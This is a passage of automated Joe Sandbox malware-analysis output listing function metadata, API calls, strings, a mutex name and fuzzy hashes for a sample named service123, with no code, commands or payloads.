Associated: 00000004.00000002.2903096951.00000000004BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903109268.00000000004BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903121382.00000000004C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b0000_service123.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: .dll$FMzY$Failed to get function address. Error code: %d$KbiE$UyBC$ZTuotxyLeWtuYWRIUsNH$cqQv$ehMl
API String ID: 145871493-4191765464
Opcode ID: 4cfc2c6985acd6ce412363d4fb412fe51735d41a6371b6e136ae843a2915f674
Instruction ID: e638ae81e6f7aeb6d4c203a3857b4da9ed7b73d942bef84bebe2c18bf2ec52c8
Opcode Fuzzy Hash: 4cfc2c6985acd6ce412363d4fb412fe51735d41a6371b6e136ae843a2915f674
Instruction Fuzzy Hash: F63149B1908205DFCB00EFB9D9995AFBBF4EB44300F414A2DE98597211EA399444CBAA

Function 6C2F14E0 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_open.MSVCRT ref: 6C2F14FD
_exit.MSVCRT ref: 6C2F154A
_write.MSVCRT ref: 6C2F1591
_close.MSVCRT ref: 6C2F15A9

Strings

terminated, xrefs: 6C2F1570
CONOUT$, xrefs: 6C2F14F6
@, xrefs: 6C3BEEAA
,@l, xrefs: 6C3BEEF2

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: _close_exit_open_write
String ID: terminated$,@l$@$CONOUT$
API String ID: 28676597-516457554
Opcode ID: c535e3aeb1b2502a5551a27d49c73264caa4419af28958ab2df54a66abf2c283
Instruction ID: bd83c96e52619625d8c879d7461c936abd1ee7e0f61eedd56f11b3eaa711267e
Opcode Fuzzy Hash: c535e3aeb1b2502a5551a27d49c73264caa4419af28958ab2df54a66abf2c283
Instruction Fuzzy Hash: BC4129B1A483098FEB00EF79C48475EBBF4AB45318F408A1CE8A5A7A40D775D545CF96

Function 004B8370 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 52
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,004B1396,-00000004,?,00006FDA,004B1396), ref: 004B83C5
GetProcAddress.KERNEL32 ref: 004B83DF
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,004B1396,-00000004,?,00006FDA,004B1396), ref: 004B83F1
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,004B1396,-00000004,?,00006FDA,004B1396), ref: 004B8411
GetLastError.KERNEL32 ref: 004B842E
FreeLibrary.KERNEL32 ref: 004B8447

Strings

KbiE, xrefs: 004B83A9
cqQv, xrefs: 004B83A2
.dll, xrefs: 004B83B7
FMzY, xrefs: 004B839B
UyBC, xrefs: 004B83B0
ZTuotxyLeWtuYWRIUsNH, xrefs: 004B83D2
ehMl, xrefs: 004B8398
Failed to load DLL. Error code: %d, xrefs: 004B8417

Memory Dump Source

Source File: 00000004.00000002.2903083311.00000000004B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000004.00000002.2903027099.00000000004B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903096951.00000000004BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903109268.00000000004BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903121382.00000000004C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b0000_service123.jbxd

Similarity

API ID: Library$ErrorFreeLast$AddressLoadProc
String ID: .dll$FMzY$Failed to load DLL. Error code: %d$KbiE$UyBC$ZTuotxyLeWtuYWRIUsNH$cqQv$ehMl
API String ID: 1397630947-24301127
Opcode ID: 8a1b2a80cdf9bd0cf39238a02437fce7145c5ec346d7087d1f0816c7c8d903b5
Instruction ID: ad0c81a44f2f066c9b784ee95c23b25006353efd7e73cbd5db81ee422f4da495
Opcode Fuzzy Hash: 8a1b2a80cdf9bd0cf39238a02437fce7145c5ec346d7087d1f0816c7c8d903b5
Instruction Fuzzy Hash: 1B115BB1C08305DFDB00EFB8D9496AEBFF4EB04300F008A6DD841A7255EB799514CBAA

Function 004B117C Relevance: 19.7, APIs: 13, Instructions: 199
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 004B11C7
SetUnhandledExceptionFilter.KERNEL32 ref: 004B1248
__p__acmdln.MSVCRT ref: 004B1271
malloc.MSVCRT ref: 004B12FB
strlen.MSVCRT ref: 004B132B
malloc.MSVCRT ref: 004B1336
memcpy.MSVCRT ref: 004B134C
GetStartupInfoA.KERNEL32 ref: 004B1443

Memory Dump Source

Source File: 00000004.00000002.2903083311.00000000004B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000004.00000002.2903027099.00000000004B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903096951.00000000004BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903109268.00000000004BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903121382.00000000004C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b0000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandled__p__acmdlnmemcpystrlen
String ID:
API String ID: 1672962128-0
Opcode ID: a9c54b401592acfbb099a44d61bae9e7b2b9cd84f860f6a27e84a2921ce56bba
Instruction ID: b54649f609495d1b3d9a49b3c1bf127b304563e08c03daceb80f9a48c6bbd5a6
Opcode Fuzzy Hash: a9c54b401592acfbb099a44d61bae9e7b2b9cd84f860f6a27e84a2921ce56bba
Instruction Fuzzy Hash: F981A071908204CFDB14EFA9D8D539E77F0FB45308F90462EE98597321D7399805CBAA

Function 004B15D0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_open.MSVCRT ref: 004B15ED
_exit.MSVCRT ref: 004B163A
_write.MSVCRT ref: 004B1681
_close.MSVCRT ref: 004B1699

Strings

terminated, xrefs: 004B1660
CONOUT$, xrefs: 004B15E6
@, xrefs: 004B848A

Memory Dump Source

Source File: 00000004.00000002.2903083311.00000000004B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000004.00000002.2903027099.00000000004B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903096951.00000000004BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903109268.00000000004BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903121382.00000000004C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b0000_service123.jbxd

Similarity

API ID: _close_exit_open_write
String ID: terminated$@$CONOUT$
API String ID: 28676597-491099378
Opcode ID: 7e5c554d60fc3fc2c17bbcdb601496f51ba1d0a8fe09eb7ba66ff31be8663893
Instruction ID: 614b78a769dc507fca3658cfe0e0bcfc38aa2743c92125d2006b16ff905a43e1
Opcode Fuzzy Hash: 7e5c554d60fc3fc2c17bbcdb601496f51ba1d0a8fe09eb7ba66ff31be8663893
Instruction Fuzzy Hash: 68411FB08043059FDB10EF78C99479FBBF4BB84318F448A2EE89497351E7799805CB6A

Function 6C30AE52 Relevance: 15.1, APIs: 10, Instructions: 110
sleepclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6C30B0E0: GetClipboardSequenceNumber.USER32 ref: 6C30B0EE

Sleep.KERNELBASE ref: 6C30AE2F
GetClipboardSequenceNumber.USER32 ref: 6C30AE38

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: ClipboardNumberSequence$Sleep
String ID:
API String ID: 2948009381-0
Opcode ID: f46b14c18f50f85337008bc0fe4f8358f60536211999064095aac06f77bbc7ed
Instruction ID: c72837a6fdc51e2496e88038953f74bf826574f68ded0191be621bb545643731
Opcode Fuzzy Hash: f46b14c18f50f85337008bc0fe4f8358f60536211999064095aac06f77bbc7ed
Instruction Fuzzy Hash: DC41CFB16082058FCB04FFB4D5895AEBBB4AF45648F40492DE8C687A40EB34A51DCFA3

Function 004B13D1 Relevance: 12.1, APIs: 8, Instructions: 108
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 004B1248
__p__acmdln.MSVCRT ref: 004B1271
malloc.MSVCRT ref: 004B12FB
strlen.MSVCRT ref: 004B132B
malloc.MSVCRT ref: 004B1336
memcpy.MSVCRT ref: 004B134C
_amsg_exit.MSVCRT ref: 004B13F2
_initterm.MSVCRT ref: 004B1414

Memory Dump Source

Source File: 00000004.00000002.2903083311.00000000004B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000004.00000002.2903027099.00000000004B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903096951.00000000004BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903109268.00000000004BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903121382.00000000004C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b0000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterUnhandled__p__acmdln_amsg_exit_inittermmemcpystrlen
String ID:
API String ID: 2053141405-0
Opcode ID: e7d6fa97b0d7770d4e91f33686b162d35cbb3ae313b1f7a6b6472ea3bd574a5b
Instruction ID: c7cff11e6bd79c761de0e902d5bcf577911bd61f1a03bb03cce29fad12b560a5
Opcode Fuzzy Hash: e7d6fa97b0d7770d4e91f33686b162d35cbb3ae313b1f7a6b6472ea3bd574a5b
Instruction Fuzzy Hash: 0E4118B0908304CFDB10EFA9E8D539EBBE0BB45308F50862EE98497321D7789805CB69

Function 004B11B3 Relevance: 10.6, APIs: 7, Instructions: 114
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 004B11C7
SetUnhandledExceptionFilter.KERNEL32 ref: 004B1248
__p__acmdln.MSVCRT ref: 004B1271
malloc.MSVCRT ref: 004B12FB
strlen.MSVCRT ref: 004B132B
malloc.MSVCRT ref: 004B1336
memcpy.MSVCRT ref: 004B134C
_amsg_exit.MSVCRT ref: 004B13F2
_initterm.MSVCRT ref: 004B1414

Memory Dump Source

Source File: 00000004.00000002.2903083311.00000000004B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000004.00000002.2903027099.00000000004B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903096951.00000000004BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903109268.00000000004BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903121382.00000000004C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b0000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled__p__acmdln_amsg_exit_inittermmemcpystrlen
String ID:
API String ID: 2230096795-0
Opcode ID: 750638a873448b4d544781d4b585accd81e7c983cde6fe5da3ff4e4e02a1d61f
Instruction ID: 233f51df4faf951f9761d35c85524bfda71ed1d81b79a116da9b40fae95071d4
Opcode Fuzzy Hash: 750638a873448b4d544781d4b585accd81e7c983cde6fe5da3ff4e4e02a1d61f
Instruction Fuzzy Hash: 89411AB0A04301CFDB10EFA9E8D569EB7F0BB45348F51863EE98497321E7789845CB69

Function 004B1170 Relevance: 9.1, APIs: 6, Instructions: 130
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 004B11C7
SetUnhandledExceptionFilter.KERNEL32 ref: 004B1248
__p__acmdln.MSVCRT ref: 004B1271
malloc.MSVCRT ref: 004B12FB
strlen.MSVCRT ref: 004B132B
malloc.MSVCRT ref: 004B1336
memcpy.MSVCRT ref: 004B134C
GetStartupInfoA.KERNEL32 ref: 004B1443

Memory Dump Source

Source File: 00000004.00000002.2903083311.00000000004B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000004.00000002.2903027099.00000000004B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903096951.00000000004BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903109268.00000000004BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903121382.00000000004C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b0000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandled__p__acmdlnmemcpystrlen
String ID:
API String ID: 1672962128-0
Opcode ID: abaa19426a515774c52823e4fc5ca3f2d40c426a864953e29a935415fb957104
Instruction ID: 071c2e6280ed3a0503b9eda1a3a7d419ad9c4c25f925f020d558cbc384d4be2c
Opcode Fuzzy Hash: abaa19426a515774c52823e4fc5ca3f2d40c426a864953e29a935415fb957104
Instruction Fuzzy Hash: 58514C71A04200CFDB10EFA9E8D579AB7F0FB49344F55863EE9449B321E7789801CBA9

Function 6C30ADA0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32
sleepsynchronizationclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenMutexA.KERNEL32 ref: 6C30ADC9
CreateMutexA.KERNELBASE ref: 6C30AE13
Sleep.KERNELBASE ref: 6C30AE2F
GetClipboardSequenceNumber.USER32 ref: 6C30AE38

Strings

yneBJZQGdgAJyOIYcNTc, xrefs: 6C30ADB2, 6C30ADFC

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: Mutex$ClipboardCreateNumberOpenSequenceSleep
String ID: yneBJZQGdgAJyOIYcNTc
API String ID: 3689039344-691834350
Opcode ID: 31c1b1548631b866f00c66e10c559f70619b57f53b880409b19abaa11145ff65
Instruction ID: 45dea13ce82738a14319311e17fb2b00874081734a34ceb05a802e582dfad589
Opcode Fuzzy Hash: 31c1b1548631b866f00c66e10c559f70619b57f53b880409b19abaa11145ff65
Instruction Fuzzy Hash: 3E0112B26083468FCB00EF64C64A75EBBF4AB41304F01881CE8C897600DB74A499CFA3

Function 004B12A6 Relevance: 5.1, APIs: 4, Instructions: 79
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 004B12FB
strlen.MSVCRT ref: 004B132B
malloc.MSVCRT ref: 004B1336
memcpy.MSVCRT ref: 004B134C

Memory Dump Source

Source File: 00000004.00000002.2903083311.00000000004B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000004.00000002.2903027099.00000000004B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903096951.00000000004BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903109268.00000000004BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903121382.00000000004C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b0000_service123.jbxd

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: 5782f33467262a0258df2c76493e684490220610d88ca382c30bc6ed14b58239
Instruction ID: 629bc81ef98d5098649cc7add6af8ff773d047c63a43729e4e761e4706fcf87e
Opcode Fuzzy Hash: 5782f33467262a0258df2c76493e684490220610d88ca382c30bc6ed14b58239
Instruction Fuzzy Hash: 2C313775A04305CFCB10EFA9D8D069AB7F1FB49304F55862EE94497321E738A905CF98

Function 004B13C3 Relevance: 5.1, APIs: 4, Instructions: 65
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 004B12FB
strlen.MSVCRT ref: 004B132B
malloc.MSVCRT ref: 004B1336
memcpy.MSVCRT ref: 004B134C

Memory Dump Source

Source File: 00000004.00000002.2903083311.00000000004B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000004.00000002.2903027099.00000000004B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903096951.00000000004BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903109268.00000000004BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903121382.00000000004C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b0000_service123.jbxd

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: e16353e20fa40cae7eb25fb5fd288db3c4ed24bb10afb9785bc8195b633098c8
Instruction ID: acdf6a8fae66e456862c1e25cff305fbff9b495cf47c35b6fb3d54ab8eb2a913
Opcode Fuzzy Hash: e16353e20fa40cae7eb25fb5fd288db3c4ed24bb10afb9785bc8195b633098c8
Instruction Fuzzy Hash: 2421E4B5E04205CFCB10EFA9E8D469DB7F1FB88344B158A2EE94497321E734A901CF69

Function 6C30C690 Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8t<l, xrefs: 6C30C739
8t<l, xrefs: 6C30C6D9

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID: 8t<l$8t<l
API String ID: 0-786310275
Opcode ID: 7b04471b3e5bcc9c0b615150eeb5d3deaf6b892a3f899c574e60a1fda5221105
Instruction ID: 802d59d6d9fead7f11e88570b1e965b3e822ffde9d66f969fb8bbfb3035c468c
Opcode Fuzzy Hash: 7b04471b3e5bcc9c0b615150eeb5d3deaf6b892a3f899c574e60a1fda5221105
Instruction Fuzzy Hash: 195179BA7087058FC700EF19E08161EBBF5AF82748F55895CD8988BB21D731E8448FA3

Function 6C30C800 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8t<l, xrefs: 6C30C834

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID: 8t<l
API String ID: 0-1892981586
Opcode ID: b6664afcb36783d76387fc6f081a4188ab50cd08d5e202dd0d540cee8c749289
Instruction ID: 17ed49b1bb1c782d61897301dc66708a552b754b694f6065a11fd774474b17d2
Opcode Fuzzy Hash: b6664afcb36783d76387fc6f081a4188ab50cd08d5e202dd0d540cee8c749289
Instruction Fuzzy Hash: 15318EB27047418BDB00AF6AD8C174ABBB4FB4630CF95456CCA948BB51E734D4498FA7

Non-executed Functions

Function 6C2FB8E0 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11ED
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11F2
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11F7
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C11FC
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1201
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1206
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C120B
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1210
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1215
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121A
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121F
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1224
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1229
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C122E
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1233
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1238
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1240
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1245
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124A
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124F
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1254
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1259
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C125E
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1263

Strings

P, xrefs: 6C2FB980

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: abort
String ID: P
API String ID: 4206212132-3110715001
Opcode ID: 50d6b972e3caa4584405f0e9b2754cde5eb203c9b6fb9496bb884206596b9102
Instruction ID: 2b8ea4cb4c5ebb61f476bb6f41ac68e52e25ef7ecc28af2493d076bd62232dc2
Opcode Fuzzy Hash: 50d6b972e3caa4584405f0e9b2754cde5eb203c9b6fb9496bb884206596b9102
Instruction Fuzzy Hash: FC31263169870C8FD710CE55C4C174BF7E69F86329F04895AE8B847A51C239D94ACF52

Function 6C2FC070 Relevance: 38.8, APIs: 21, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

@, xrefs: 6C2FC315

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: fe909b52daf027b0da1cddc3a1f044fcd4926cc20ede5bee66118d8481b81d6f
Instruction ID: 9b6a666fe60f022ff4b081b353bad044e409fb6ad2e61999701cf2e6478ba166
Opcode Fuzzy Hash: fe909b52daf027b0da1cddc3a1f044fcd4926cc20ede5bee66118d8481b81d6f
Instruction Fuzzy Hash: 37B1A27164834E8FD720DF28C480B5AFBE1BF86708F14446DE9A49B752C375E85ACB92

Function 6C2F2390 Relevance: 38.0, APIs: 25, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8265fe1e4c0e3c64247af3ae77c90af13328ebee5e38f302be9538e0c3f2aff5
